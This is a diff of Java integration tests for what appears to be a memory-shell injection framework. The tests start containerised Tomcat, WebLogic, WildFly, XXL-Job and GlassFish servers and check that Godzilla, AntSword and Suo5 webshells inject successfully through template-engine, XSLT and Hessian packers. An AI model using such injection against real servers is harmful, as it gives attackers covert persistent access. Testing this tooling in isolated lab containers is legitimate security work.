arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
|
||||
);
|
||||
}
|
||||
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Tomcat8XSLTContainerTest {
|
||||
public static final String imageName = "tomcat:8-jre8";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
|
||||
}
|
||||
}
|
||||
+2
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration.memshell.weblogic;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -21,6 +22,7 @@ public class WebLogic1036ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
|
||||
"reajason/weblogic:10.3.6",
|
||||
"/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.assertLogs(false)
|
||||
.supportedShellTypes(List.of(
|
||||
|
||||
+1
@@ -26,6 +26,7 @@ public class WebLogic12214ContainerTest extends AbstractContainerTest {
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
|
||||
+1
@@ -26,6 +26,7 @@ public class WebLogic14110ContainerTest extends AbstractContainerTest {
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
|
||||
+1
@@ -26,6 +26,7 @@ public class WebLogic14120ContainerTest extends AbstractContainerTest {
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
package com.reajason.javaweb.integration.memshell.weblogic;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
@Testcontainers
|
||||
public class WebLogic15110ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
|
||||
"reajason/weblogic:15.1.1.0-jdk21",
|
||||
"/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.warFile(ContainerTool.warJakartaFile)
|
||||
.jakarta(true)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Wildfly38ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
|
||||
"quay.io/wildfly/wildfly:38.0.1.Final-jdk21",
|
||||
"/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
// Suo5 closes the exchange before WildFly 38's internal request listener is destroyed,
|
||||
// causing a benign UT015005/UT000139 log after the functional assertion has passed.
|
||||
.assertLogs(false)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Wildfly41ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
|
||||
"quay.io/wildfly/wildfly:41.0.0.Final-jdk21",
|
||||
"/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.ComposeContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class XxlJob202ContainerTest {
|
||||
|
||||
public static final String imageName = "xxljob/xxljob202";
|
||||
|
||||
@Container
|
||||
public static final ComposeContainer compose =
|
||||
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-202.yaml"))
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.XXLJOB;
|
||||
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||
log.info("container stopped, logs is : {}", logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("executor", 9999);
|
||||
int port = compose.getServicePort("executor", 9999);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.ComposeContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class XxlJob212ContainerTest {
|
||||
|
||||
public static final String imageName = "xxljob/xxljob212";
|
||||
|
||||
@Container
|
||||
public static final ComposeContainer compose =
|
||||
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-212.yaml"))
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.XXLJOB;
|
||||
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||
log.info("container stopped, logs is : {}", logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("executor", 9999);
|
||||
int port = compose.getServicePort("executor", 9999);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.ComposeContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class XxlJob250ContainerTest {
|
||||
|
||||
public static final String imageName = "xxljob/xxljob250";
|
||||
|
||||
@Container
|
||||
public static final ComposeContainer compose =
|
||||
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-250.yaml"))
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.XXLJOB;
|
||||
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.XxlJob);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||
log.info("container stopped, logs is : {}", logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V17, packer);
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("executor", 9999);
|
||||
int port = compose.getServicePort("executor", 9999);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+44
@@ -118,6 +118,15 @@ public class ProbeTestConfig {
|
||||
.warDeployPath(warDeployPath);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder jetty5Old(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.Jetty5)
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.supportsFilterProbe(false);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder glassfish(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
@@ -230,6 +239,15 @@ public class ProbeTestConfig {
|
||||
.warDeployPath(warDeployPath);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder resin2(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.Resin2)
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.supportsFilterProbe(false);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder springboot(String imageName, MountableFile jarFile) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
@@ -269,6 +287,32 @@ public class ProbeTestConfig {
|
||||
.supportsSpringWebMvc(true);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder springbootBes(String imageName, MountableFile jarFile) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.jarFile(jarFile)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.BES)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.supportsFilterProbe(false)
|
||||
.supportsSpringWebMvc(true);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder springbootTongweb(String imageName, MountableFile jarFile) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.jarFile(jarFile)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.TongWeb)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.supportsFilterProbe(false)
|
||||
.supportsSpringWebMvc(true);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class GlassFish7JDK21ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
|
||||
"reajason/glassfish:7.1.1-jdk21",
|
||||
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.expectedJdkVersion("JDK|21.0.11|65")
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.build();
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||
|
||||
@Override
|
||||
protected ProbeTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected GenericContainer<?> getContainer() {
|
||||
return container;
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user